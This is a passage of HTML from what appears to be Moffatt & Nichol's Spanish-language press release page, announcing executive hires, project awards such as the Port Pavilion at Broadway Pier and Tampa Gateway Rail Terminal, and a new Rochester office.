marítimas. El Sr. Simpson tiene más de 23 años de experiencia enfocada en la planeación, análisis y diseño de terminales portuarias, incluyendo terminales ferroviarias y de contenedores. Ha trabajado extensamente con autoridades portuarias, compañías navieras, operadores de terminales, compañías ferroviarias y proveedores de equipos y sistemas. Su experiencia abarca desde planeación conceptual hasta la culminación de la construcción y ha realizado análisis y planeación para numerosas terminales de contenedores, incluyendo patios de almacenaje, patios de ferrocarril intermodal, garitas, edificios y seguridad en sitio. Ha estado involucrado en la planeación y diseño de numerosas terminales con un rendimiento anual superior a los 2,000,000 de TEUs y posee amplios conocimientos en diseño, diversos modos operativos para terminales y todo tipo de equipo para manejo de contenedores. \r\n\r\n“La amplia y profunda experiencia de Kerry en planeación portuaria, análisis y diseño es una valiosa adición a nuestras capacidades integradas” comentó Richard Steinke, líder de la práctica de terminales marítimas para Moffatt & Nichol. “Estamos contentos de tenerlo a bordo para proveer apoyo a nuestros clientes a nivel mundial”.\r\n\r\nEl señor Simpson obtuvo su título de maestría en Ingeniería Civil en California State University y su título de licenciatura en Ciencias Oceanográficas en Humbold State University. Es también miembro activo de Sociedad Americana de Ingenieros Civiles.\r\n\r\nSobre su transición a Moffatt & Nichol, el Sr. Simpson comentó: “esta es una gran oportunidad de participar en los futuros emprendimientos de Moffatt & Nichol y de continuar desarrollando puertos de primera clase alrededor del mundo. Estoy orgulloso de sumarme a este equipo”. \r\n\r\n</div>\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"16\">Moffatt & Nichol da la bienvenida a Olie Abbamonto como Directora de Finanzas</h3>\r\n<a href=\"http://www.moffattnichol.com/wp-content/uploads/2013/11/Olie-Abbamonto_Headshot.jpg\"><img title=\"Olie Abbamonto\" src=\"http://www.moffattnichol.com/wp-content/uploads/2013/11/Olie-Abbamonto_Headshot.jpg\" alt=\"\" width=\"200\" height=\"280\" /></a>\r\nLONG BEACH, CA, noviembre 12, 2013 – Moffatt & Nichol se complace en anunciar que Olie Abbamonto se une a la firma como Directora de Finanzas. La señora Abbamonto posee más de 20 años de experiencia en manejo financiero, planificación estratégica y contabilidad con firmas internacionales, con experiencia en implementación de Six Sigma. \r\n\r\nEn su papel como Directora de Finanzas, la señora  Abbamonto se encargará de supervisar las responsabilidades del día a día de la planificación, implementación, administración y control de todas las actividades financieras de la empresa. Previo a su integro a Moffatt & Nichol, la señora Abbamonto fue Vice Presidenta de Finanzas y Directora de Finanzas en Cardno ERI, una firma consultora ambiental, subsidiaria de Cardno, donde se desempeñó en comités domésticos y globales. Anteriormente con Mazda North American Operations la señora Abbamonto fue totalmente responsable del desarrollo e implementación del programa Six Sigma para las operaciones de la firma en  de América del Norte. \r\n\r\nLa señora Abbamonto es egresada de Ain Shames University en Cairo, Egipto. Es también miembro activa de Financial Executives International, y se ha desempeñado como miembro de la directiva. Este año fue nominada como Jefa de Finanzas del año para el Business Journal del condado de Orange.\r\n</div>\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"15\">Moffatt & Nichol recibe el Premio COPRI 2013 por el proyecto Port Pavilion en Broadway</h3>\r\n<a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2013/10/Port-Paviliion-at-Broadway-Pier-No.-2.jpg\"><img title=\"Port Pavilion en Broadway Pier\" src=\"http://moffattnichol.com/spanish/wp-content/uploads/2013/10/Port-Paviliion-at-Broadway-Pier-No.-2.jpg\" alt=\"\" width=\"433\" height=\"270\" /></a>\r\nSAN DIEGO, CA, septiembre 27, 2013 – La Sociedad Americana de Ingeniería Civil, Instituto de Costas, Océanos, Puertos y Ríos (COPRI) otorgó a Moffatt & Nichol el Premio 2013 a la Excelencia en Proyectos, Categoría Proyecto Pequeño, por el Port Pavilion en Broadway Pier, del Puerto de San Diego. \r\n\r\nEste complejo trabajo rehabilitó un muelle histórico de 1919 y estableció un flexible espacio público frente al mar que hace la doble función de lugar de encuentro y terminal de cruceros.  Moffatt & Nichol trabajó como ingeniero estructural exclusivo para el rediseño del muelle y la adecuación sísmica, y como ingeniero estructural para la estructura apoyada en pilotes, la cual recibió la certificación de Oro por Liderazgo en Energía y Diseño Ambiental. El proyecto ha recibido seis galardones desde 2011, incluyendo el Premio de Mérito a la Excelencia en Ingeniería otorgado por ACEC, Capítulo California. \r\n\r\n“Desde una perspectiva de ingeniería, Port Pavilion en Broadway Pier fue un proyecto técnicamente difícil y de alta visibilidad. El puerto confiaba en las capacidades especializadas y el apoyo de Moffatt & Nichol, desde el inicio del diseño hasta la finalización de la construcción. La singular capacidad de ingeniería estructural para edificaciones de frente de mar de la firma fue fundamental para el éxito del proyecto”, expresó Mark McIntire, Gerente de Proyecto del Puerto de San Diego.\r\n\r\nA través de los 5 años de evolución del proyecto, el equipo de diseño enfrentó retos que incluyeron ajustar el cronograma del proyecto con permisos ambientales, construcción pesada para un muelle en ambiente intermareal. La reutilización adaptativa y estratégica de las estructuras existentes produjo resultados con beneficios a largo plazo, en términos de  costos, cronograma y diseño. \r\n\r\n“La demolición de los muelles existentes y la construcción de una estructura de reemplazo hubiese sido muy cotosa y hubiese tomado mucho tiempo. Además, el proceso de demolición hubiese creado una gran cantidad de desechos de construcción”, comentó Matthew Martínez, Gerente de Proyecto de Moffatt & Nichol. “Como una alternativa al reemplazo de la estructura que data de 1913, se utilizó un proceso adaptativo de re-utilización para modernizar la estructura histórica con el fin de ser reutilizada en este proyecto”. Se hicieron pruebas bajo el nivel del agua de los pilotes que datan de 1930, se encofraron los pilotes de 1913 y se implementó un sistema de aislamiento con base sísmica. Adicionalmente la incorporación de una capa estructural permite a la plataforma del muelle soportar los requerimientos del tráfico moderno. \r\n\r\nEl nuevo Port Pavilion en Broadway Pier representa un exitoso balance entre beneficios económicos y un enfoque de diseño ambientalmente consciente que realza la dinámica y diversa zona costera del centro de la ciudad. \r\n</div>\r\n&nbsp;\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"14\">James Beaver se integra a Moffatt & Nichol como director de Servicios Comerciales para Marinas</h3>\r\n<a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2013/10/James-Beaver.jpg\"><img title=\"James Beaver\" src=\"http://moffattnichol.com/spanish/wp-content/uploads/2013/10/James-Beaver.jpg\" alt=\"\" width=\"199\" height=\"300\" /></a>\r\nLONDRES, REINO UNIDO, septiembre 23, 2013 – James Beaver se une a la oficina de Moffatt & Nichol Londres como Director de Servicios Comerciales para Marinas, bajo la práctica de Desarrollo Costero Urbano  y Marinas. El señor Beaver, anteriormente Director de Operaciones de Camper & Nicholson Marinas, tiene más de 24 años de experiencia con operaciones de marinas, nuevos desarrollos, redesarrollos, financiación y debida diligencia. También tiene extensa experiencia en el desarrollo y arrendamiento de inmuebles relacionados con marinas. \r\n\r\n“James trae a Moffatt & Nichol una increíble reputación y habilidades, al igual que amplia experiencia en la planificación y evaluación del mercado para orientar sobre el perfil potencial de demanda para cualquier marina, a través de la consultoría operativa y la puesta en marcha de la instalación”, comentó Robert Nathan, PE, Vicepresidente Senior de Moffatt & Nichol y líder de la práctica de Desarrollo Costero Urbano y Marinas. “Estamos muy contentos que esta experiencia esté disponible para ofrecer apoyo los intereses de nuestros clientes en el rápido crecimiento del mercado de puertos deportivos y estructuras de frente de mar, desarrollando marinas de alto nivel e inmuebles relacionados”.\r\n\r\nEn anteriores funciones, el señor Beaver fue miembro líder de un equipo senior responsable del desarrollo de una marina de 600 puestos de atraque y  operaciones de almacenamiento en seco en Portland, Dorset, Reino Unido, el cual fue el lugar sede para eventos de navegación para las Olimpiadas y para los Juegos Paralímpicos Londres 2012. Desarrolló un papel administrativo en el re-desarrollo y construcción de East Cowes Marina en Isle of Wight, Reino Unido. Recientemente, James dirigió el equipo administrativo senior en colaboración con Yas Marina, sede del Grand Prix Formula 1TM de Abu Dhabi. \r\n\r\nSobre su transición a Moffatt & Nichol, el señor Beaver afirma que, “estoy complacido de unirme a una firma con tan sobresaliente reputación. Es una gran oportunidad poder participar en los emprendimientos futuros de Moffatt & Nichol y continuar desarrollando marinas de primera clase alrededor del mundo”. \r\n</div>\r\n&nbsp;\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"13\">Proyecto Tampa Gateway Rail Terminal recibe altos honores en la Bahía de Tampa</h3>\r\n<a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2013/10/Tampa-Gateway.jpg\"><img title=\"Tampa Gateway\" src=\"http://moffattnichol.com/spanish/wp-content/uploads/2013/10/Tampa-Gateway.jpg\" alt=\"\" width=\"400\" height=\"266\" /></a>\r\nPremiación Anual al Futuro de la Región del Concejo Regional de Planeación\r\n\r\nTAMPA, FLORIDA, julio 18, 2013 – Tampa Gateway Rail Terminal, un proyecto de US$11 millones de colaboración conjunta del Puerto de Tampa, fue galardonado con el Premio Jr. de Distinción Charles McIntosh, durante la Vigésima Primera Premiación Anual al Futuro de la Región, del Concejo Regional de Planeación de la Bahía de Tampa.\r\n\r\nEl Premio Jr. de Distinción Charles A. McIntosh fue presentado al proyecto por su demostración de una fuerte visión regional y excelencia en las categorías de servicio comunitario, ambiental y de infraestructura. Un panel independiente evaluó proyectos basados en los beneficios a la calidad de vida regional, beneficios al medio ambiente, innovación, rentabilidad y capacidad de continuar el impacto y beneficio regional.  El proyecto generó conectividad intermodal sin precedentes al Puerto de Tampa, el cual sirve como motor económico crucial, generando aproximadamente 100,000 empleos y US$8 millones en impacto económico anual. La instalación no sólo permite cuantiosos oportunidades de comercio que no estaban disponibles antes, sino también contribuye al incremento del etanol, disminuyendo las emisiones de CO2 y reduciendo la dependencia en fuentes externas de energía. \r\n\r\n“Estamos muy complacidos que nuestro compromiso con desarrollar el Puerto de Tampa en un hub intermodal de clase mundial y esta importante asociación estratégica han sido reconocidas a tan alto y prestigioso nivel,” dijo Paul Anderson, CEO y Director del Puerto de Tampa.  \r\n\r\nEl Gateway Rail es la más reciente fase de un plan maestro de mejoras a una instalación de 188 acres para contenedores que Moffatt & Nichol está liderando. Moffatt & Nichol ofrece servicios profesionales de ingeniería y consultoría que incluyen la planeación, diseño, documentos de construcción, administración de proyecto y apoyo a la construcción. El proyecto se completó dentro del cronograma y el presupuesto. \r\n\r\n“Moffatt & Nichol se siente orgulloso de ser parte de este proyecto integral en la Bahía de Tampa”, comentó Michael Bruce, PE, Gerente de Proyecto de Moffatt & Nichol. Este reconocimiento por parte del Concejo Regional de la Bahía de Tampa es un testimonio de la visión y el compromiso con la excelencia del Puerto de Tampa. \r\n</div>\r\n&nbsp;\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"1\">Shaun McFarlane se une a la empresa para dirigir las operaciones en Alaska</h3>\r\n<a href=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/07/shaunmcfarlane.jpg\"><img title=\"Shaun McFarlane\" src=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/07/shaunmcfarlane.jpg\" alt=\"\" width=\"199\" height=\"300\" /></a>\r\n\r\nLONG BEACH, CA, 30 de julio, 2012— Moffatt & Nichol se complace en dar la bienvenida al ingeniero Shaun McFarlane, quien se integra a Moffatt & Nichol con 23 años de variada experiencia en ingeniería de frentes costeros obtenida en muchos proyectos en Alaska y a lo largo de la costa oeste de los Estados Unidos.\r\n\r\nLa experiencia del ingeniero McFarlane incluye proyectos marítimos y costeros nacionales e internacionales para industrias privadas y públicas y para agencias gubernamentales federales, estatales y municipales. Sus antecedentes como gerente de proyecto y como ingeniero jefe/principal de frentes costeros se relacionan con una gama de servicios, desde la selección del sitio hasta el planeamiento conceptual y la gestión de autorizaciones, y desde el diseño final hasta la gestión de la construcción. Sus antecedentes y su experiencia se ajustan perfectamente a su función como Director de la Unidad de Negocios de la oficina de Moffatt & Nichol en Anchorage. Él se desempeñará como el representante de la empresa en Alaska y trabajará con importantes líderes del sector y clientes para brindar la renombrada cartera de servicios de la compañía a algunos de los climas marinos más desafiantes y ambientes más sensibles en el mundo.\r\n\r\n</div>\r\n&nbsp;\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"2\">Catherine Fritter se une a Moffatt & Nichol para dirigir la oficina de Vancouver</h3>\r\n<a href=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/07/DSC02051-1.jpg\"><img title=\"Catherine Fritter\" src=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/07/DSC02051-1.jpg\" alt=\"\" width=\"214\" height=\"240\" /></a>\r\n\r\nLONG BEACH, CA, 30 de julio, 2012— Moffatt & Nichol se complace en dar la bienvenida a la ingeniera Catherine Fritter, como la Directora de la Unidad de Negocios de la empresa en la oficina de Vancouver, Columbia Británica. Antes de unirse a Moffatt & Nichol, la ingeniera Fritter trabajó con Ausenco Sandwell, donde se desempeñó como gerente del Departamento de Automatización y Electricidad.\r\n\r\nLa ingeniera Fritter tiene una gran experiencia en la gerencia de departamentos y proyectos, planeamiento comercial y estratégico y administración de cuentas de clientes. Su experiencia en liderazgo y sus talentos técnicos serán un valioso aporte para el equipo de la empresa en Vancouver, donde dirigirá un grupo de ingenieros profesionales, gerentes de proyectos y expertos en frentes costeros.\r\n\r\nLa ingeniera Fritter fue nombrada recientemente al Consejo de directores de ACEC y presta servicios como directora designada para el capítulo de Columbia Británica de la organización. Ella es ingeniera profesional en Canadá y recibió su diploma de pregrado en ingeniería eléctrica en la Universidad de Columbia Británica.\r\n\r\n</div>\r\n&nbsp;\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"3\">Richard Steinke dirigirá la práctica portuaria de Moffatt & Nichol</h3>\r\n<a href=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Steinke-Final-010.jpg\"><img title=\"Steinke Final 010\" src=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Steinke-Final-010-214x300.jpg\" alt=\"\" width=\"214\" height=\"300\" /></a>\r\n\r\nLONG BEACH, CA, 30 de mayo, 2012— Moffatt & Nichol anunció hoy que Richard D. Steinke, anterior Director Ejecutivo del Puerto de Long Beach, se ha unido a la empresa como Jefe de Práctica Portuaria. En esta función, sus antecedentes y su experiencia fortalecerán la presencia y reputación de la empresa como el líder mundial en el planeamiento y diseño de terminales marítimos.\r\n\r\n“Dick aporta una increíble y diversa experiencia y conocimiento del sector, junto con el desarrollo, la gestión y la implementación de iniciativas estratégicas que afectan la operación de las instalaciones marinas. Nos complace sobremanera contar con tal experiencia para apoyar el crecimiento estratégico de Moffatt & Nichol y para proporcionar valor a nuestros clientes”, dijo el Presidente de la compañía, Eric Nichol.\r\n\r\nDespués de 22 años de trabajo en el Puerto de Long Beach, Steinke se retiró de su cargo de 14 años como Director Ejecutivo en 2011, dejando un legado de innovación. Mientras estuvo a su cargo, el Puerto de Long Beach aseguró su posición competitiva entre los primeros puertos del mundo, se destacó como líder en seguridad portuaria después del atentado del 11 de septiembre, y fue pionero en la política de puerto ecológico de 2005 y su premiado programa \"Camiones Verdes\". Experto en desarrollar sociedades de colaboración, Steinke guió al puerto en la obtención de la aprobación para lanzar el trascendental proyecto de redesarrollo del Middle Harbor del puerto ($1000 millones), y el proyecto de reemplazo del puente Gerald Desmond ($950 millones).\r\n\r\n“Es emocionante unirse a una empresa con una reputación tan extraordinaria. Esta es una gran oportunidad de participar en los futuros cometidos de Moffatt & Nichol, a medida que la compañía se proyecta sobre su largo historial de éxitos y expande su posición global,” señaló Dick Steinke.\r\nLíder en la industria portuaria, Steinke ha representado la U.S. West Coast Collaboration, una sociedad de los puertos de la costa oeste y los principales ferrocarriles del oeste, y se ha desempeñado como Presidente de la Asociación Americana de Autoridades Portuarias, una alianza de más de 150 autoridades portuarias de los Estados Unidos, Canadá, el Caribe y América Latina.\r\n\r\nAntes de unirse al Puerto de Long Beach, Steinke trabajó cinco años como funcionario responsable de los activos aeroportuarios en el Aeropuerto internacional de Stapleton en su nativo Denver, Colorado. Se graduó en el Chadron State College de Nebraska y realizó estudios de postgrado en la Universidad de Colorado.\r\n\r\n&nbsp;\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<h3 id=\"4\">Mark Faeth se une a la oficina de Nueva York de Moffatt & Nichol como Vicepresidente</h3>\r\n<a href=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Mark-Faeth.jpg\"><img class=\"alignnone size-medium wp-image-2465\" title=\"Mark Faeth\" src=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Mark-Faeth-200x300.jpg\" alt=\"\" width=\"200\" height=\"300\" /></a>\r\n\r\nLONG BEACH, CA, 30 de marzo, 2012— Moffatt & Nichol le da la bienvenida al ingeniero Mark Faeth, como Vicepresidente. Radicado en las instalaciones de la empresa en Nueva York, él se une a Moffatt & Nichol con 33 años de variada experiencia en ingeniería marítima y gerencia de proyectos. En su nueva función, el ingeniero Faeth ampliará la presencia marítima de la empresa en apoyo de las prácticas de puertos, energía y frentes de mar urbanos en toda la compañía.\r\n\r\nAnteriormente se desempeñó como Vicepresidente Principal de Halcrow Inc., en donde sus responsabilidades incluían la supervisión y dirección de proyectos importantes en su unidad de negocios marítimos, y también trabajó como Director de Operaciones y Director Comercial para sus operaciones en los EE. UU. Antes de su adquisición por Halcrow en 2005, él fue Socio Principal de la empresa Han-Padron Associates.\r\n\r\nEl ingeniero Faeth ha dado soporte a clientes importantes, entre ellos la Marina de EE. UU., Abu Dhabi Ports Company y ExxonMobil. Tiene un diploma de postgrado en ingeniería estructural del Instituto Politécnico de la Universidad de Nueva York, y entre sus áreas específicas de experiencia profesional figuran el análisis estructural y el diseño de instalaciones marítimas en áreas cercanas a la costa y costa afuera, tecnología de amarre y defensas, y gerencia de proyectos.\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<h3 id=\"5\">Jim Mccluskie se une a Moffatt & Nichol como Director de la oficina de Long Beach</h3>\r\n<a href=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Jim-McCluskie.jpg\"><img class=\"alignnone size-medium wp-image-2466\" title=\"Jim McCluskie\" src=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Jim-McCluskie-199x300.jpg\" alt=\"\" width=\"199\" height=\"300\" /></a>\r\n\r\nLONG BEACH, CA, 13 de marzo, 2012—Moffatt & Nichol se complace en dar la bienvenida a Jim McCluskie como nuevo Director de la Unidad de Negocios de la oficina de Long Beach, California. El ingeniero McCluskie aporta cerca de 30 años de experiencia ejecutiva en el desarrollo de grandes proyectos de infraestructura, con una concentración en los sectores privado y público al tiempo que mantiene gran atención en el desarrollo de negocios y de clientes.\r\n\r\nAntes de unirse a Moffatt & Nichol, el ingeniero McCluskie se desempeñó como Vicepresidente para Engineering & Environmental Consultants, Inc. donde era responsable del desarrollo del plan anual de negocios, de establecer y mantener una presencia en la comunidad y de identificar oportunidades de desarrollo de negocios, además de negociaciones efectivas de contratos, gestión de riesgos y ventas operativas.\r\n\r\nBajo su liderazgo con PBS&J, el ingeniero McCluskie se desempeñó como Vicepresidente Principal y estuvo a cargo de 800 empleados en más de 60 oficinas en Estados Unidos. Su principal experiencia de proyectos incluye el diseño y la gestión del programa para el parque temático de Abu Dhabi en una isla de cerca de 1020 hectáreas con 24 atracciones, así como la evaluación medioambiental y el diseño para el proyecto de transmisión de 3000 megavatios para el parque eólico de Anschutz en Wyoming, por $3 mil millones. Con amplia experiencia en el desarrollo de negocios, la gerencia de operaciones y la ejecución de proyectos, el ingeniero McCluskie aporta su enfoque práctico de liderazgo y su pensamiento estratégico a la empresa y a su equipo.\r\n\r\nEl ingeniero McCluskie es graduado de Lake Superior State, Michigan donde recibió su diploma de pregrado en ingeniería civil.\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<h3 id=\"6\">Gary Antonucci se une a Moffatt & Nichol como Ingeniero principal de puentes</h3>\r\n<a href=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/GAntonucci-headshot-retouched.jpg\"><img class=\"alignnone size-medium wp-image-2467\" title=\"GAntonucci headshot-retouched\" src=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/GAntonucci-headshot-retouched-231x300.jpg\" alt=\"\" width=\"231\" height=\"300\" /></a>\r\n\r\nLONG BEACH, CA, 13 de diciembre, 2011—Moffatt & Nichol se complace en darle la bienvenida a Gary Antonucci como ingeniero principal de puentes para la oficina de Walnut Creek de la empresa. El ingeniero Antonucci aporta a Moffatt & Nichol sus más de 30 años de experiencia en ingeniería, incluyendo más de 15 años con TY Lin International en el planeamiento y diseño de instalaciones de transporte que abarcan carreteras urbanas e interestatales y sistemas ferroviarios.\r\n\r\nSu experiencia incluye el diseño de puentes y estructuras de transporte, trenes de pasajeros de servicio pesado y ligero, senderos para peatones/bicicletas, sistemas de abastecimiento de agua e instalaciones de control de inundaciones. Durante los últimos 15 años, ha estado enfocado específicamente en la gerencia de proyectos de tareas complejas que requerían grandes equipos multidisciplinarios. Su trabajo ha incluido más de 200 proyectos de puentes individuales. Con una gran experiencia en el diseño de puentes para Caltrans (Departamento de Transporte de California), ha completado muchos proyectos de autopistas estatales que necesitaban la revisión y aprobación de Caltrans.\r\n\r\nLa experiencia del ingeniero Antonucci también incluye proyectos del Programa de Puentes Carreteros (HBP, por sus siglas en inglés) federal y ha realizado la gerencia de proyecto para varias obras mayores con este programa, con costos individuales de proyectos superiores a $20 millones. Ha trabajado como Gerente de Proyectos o Ingeniero Estructural principal para más de 20 pasos a desnivel de carreteras/vías férreas. Su experiencia en estos proyectos ha incluido trabajar como enlace con el personal del ferrocarril, así como preparar acuerdos con la Comisión de Servicios Públicos (PUC, por sus siglas en inglés) y ferroviarios. El señor Antonucci es ingeniero profesional y recibió su diploma de pregrado en ingeniería civil de la Universidad Politécnica del Estado de California, Pomona.\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<h3 id=\"7\">Carlos Noguera se une a la empresa como Gerente General para la oficina de Colombia</h3>\r\n<a href=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Noguera-Carlos-2.jpg\"><img class=\"alignnone size-medium wp-image-2468\" title=\"Noguera, Carlos 2\" src=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Noguera-Carlos-2-199x300.jpg\" alt=\"\" width=\"199\" height=\"300\" /></a>\r\n\r\nLONG BEACH, CA, 13 de diciembre, 2011—Moffatt & Nichol da la bienvenida a la empresa a Carlos Noguera como Gerente General de la oficina de Colombia S.A.S. El ingeniero Noguera aporta más de 30 años de experiencia y un profundo conocimiento de la industria de la ingeniería de Colombia, específicamente en las áreas de consultoría medioambiental, evaluación de la calidad del agua, diseño de canales de navegación, dragado y estudios de factibilidad económica y técnica en Colombia y a nivel mundial.\r\n\r\nEl ingeniero Noguera se une a Moffatt & Nichol después de trabajar más de 30 años con HMV Ingenieros, una compañía colombiana, donde tuvo un papel importante como Representante legal e Ingeniero Director General desde 2002, supervisando proyectos en los sectores privado y público. La experiencia de trabajo anterior del ingeniero Noguera con Moffatt & Nichol incluyó el diseño del acceso al canal de navegación al Puerto de Buenaventura, Colombia, donde fue un factor clave en los logros de la empresa en Colombia.\r\n\r\nSu experiencia profesional también incluye la evaluación de los impactos medioambientales en proyectos de desarrollo. Habiendo trabajado como consultor medioambiental, sus conocimientos especializados incluyen estudios de la calidad del aire y el impacto medioambiental de desarrollos industriales, el desarrollo y control durante la ejecución de estudios sobre la evaluación de riesgos naturales, el diseño de canales de navegación, sistemas de atraque y dragas.\r\n\r\nEl ingeniero Noguera tiene un diploma de ingeniería civil de la Universidad La Gran Colombia y una especialización en Evaluación del impacto medioambiental de la Universidad Jorge Tadeo Lozano – Tuffs University, en Bogotá, Colombia.\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<h3 id=\"8\">Helga Junold encabezará Grupo comercial global con sede en Nueva York</h3>\r\n<a href=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Helga-Junold.jpg\"><img class=\"alignnone size-medium wp-image-2469\" title=\"Helga Junold\" src=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Helga-Junold-199x300.jpg\" alt=\"\" width=\"199\" height=\"300\" /></a>\r\n\r\nLONG BEACH, CA, 30 de noviembre, 2011 — Moffatt & Nichol se complace en dar la bienvenida a Helga Junold, ingeniera civil, como directora de la unidad de negocios para la unidad de servicios comerciales y consultivos con base en Nueva York. La ingeniera Junold se une a Moffatt & Nichol después de trabajar más de 20 años con Halcrow, donde puso en marcha la presencia estadounidense de la empresa. Dirigió e incrementó una importante y exitosa especialidad consultiva de transacciones estratégicas en las áreas de puertos, carga, logística y asociaciones público-privadas, reuniendo competencias en ingeniería civil, financiamiento del desarrollo de infraestructura y administración general.\r\n\r\nLa ingeniera Junold ha trabajado como Gerente de proyectos en el Reino Unido, Estados Unidos y América Latina. Trabajó con prestamistas y garantes, incluyendo el banco Export-Import de Estados Unidos y el Departamento de garantía de créditos a la exportación del Reino Unido, y dirigió importantes iniciativas de desarrollo y financiamiento de infraestructura en el Reino Unido, Argentina y Venezuela.\r\n\r\nTambién ha dado apoyo a importantes clientes, entre los que podemos incluir la Autoridad portuaria de Nueva York y Nueva Jersey, el Departamento de Transporte de Texas, la Corporación de Desarrollo Económico de Nueva York, el Departamento del Tesoro de Nueva Jersey, y varios desarrolladores de infraestructura del sector privado. Junold es una ingeniera colegiada en el Reino Unido y obtuvo su diploma de maestría de Hidráulica en ingeniería civil en la Universidad de Salford, Reino Unido.\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<h3 id=\"9\">Moffatt & Nichol inaugura una oficina en Eastern Great Lakes</h3>\r\nLONG BEACH, CA, 8 de agosto, 2011— Moffatt & Nichol se complace en anunciar la expansión de nuestra empresa con la incorporación de la oficina de Eastern Great Lakes, ubicada en Rochester, Nueva York. Dirigida por John Schirmer, Gerente principal de proyectos, la oficina de Eastern Great Lakes se concentrará en proporcionar soluciones innovadoras a puertos, frentes de mar urbanos, puertos deportivos, transporte y movimiento de mercancías, así como a las industrias marítimas relacionadas. Durante los tres últimos años, Moffatt & Nichol ha apoyado el área con varios proyectos relacionados con el planeamiento, diseño e ingeniería del frente costero. Ubicada en la parte oeste de Nueva York, con un práctico acceso a Canadá y a la región de los Grandes Lagos, la nueva oficina servirá como un centro crítico para cubrir las necesidades de nuestros clientes de todo el mundo.\r\n\r\nMoffatt & Nichol\r\n250 Mill Street, Suite 307\r\nRochester, NY 14614\r\nP: 585-641-7128\r\nE: <a href=\"mailto:jschirmer@moffattnichol.com\">jschirmer@moffattnichol.com</a>\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<h3 id=\"10\">Richard Rocktoff se une como Gerente Principal de proyectos de transporte</h3>\r\n<a href=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Rocktoff_photo.jpg\"><img class=\"alignnone size-medium wp-image-2470\" title=\"Rocktoff_photo\" src=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Rocktoff_photo-239x300.jpg\" alt=\"\" width=\"239\" height=\"300\" /></a>\r\n\r\nLONG BEACH, CA, 25 de julio, 2010—Richard Rocktoff se une al equipo de transporte de Moffatt & Nichol como Gerente Principal de proyectos de transporte. Con más de 20 años de experiencia en proyectos de transporte, el ingeniero Rocktoff aporta su experiencia profesional y su singulares capacidades en complejas geometrías de diseño horizontal y vertical, diseño de intercambios e intersecciones, servicios post-diseño y proyectos de entrega alternativa a la empresa.\r\n\r\nAntes de unirse a Moffatt & Nichol, el ingeniero Rocktoff fue responsable de varios de los mayores proyectos de entrega alternativa del Departamento de Transporte de Florida (FDOT, por sus siglas en inglés) en varios distritos del FDOT. Anteriormente trabajó como Subgerente de diseño en la asociación público-privada para la reconstrucción de la carretera interestatal I-595 del distrito cuatro del FDOT. Coordinó los esfuerzos de los diferentes equipos de diseño para terminar un diseño de dieciocho meses que incluyó diez intercambios sobre 19 km de autopista interestatal. El proyecto P3 de $1200 millones también introdujo tres carriles expresos reversibles y con peaje dentro del derecho de paso existente.\r\n\r\nComo ingeniero de proyecto del diseño y construcción de la carretera US 1 y del puente Jewfish Creek, el ingeniero Rocktoff supervisó el diseño de la reconstrucción de 11,2 km de la carretera US 1, incluido el reemplazo del puente de báscula existente desde Key Largo hasta Florida continental por un puente de alto nivel de 2,4 km y la adición de 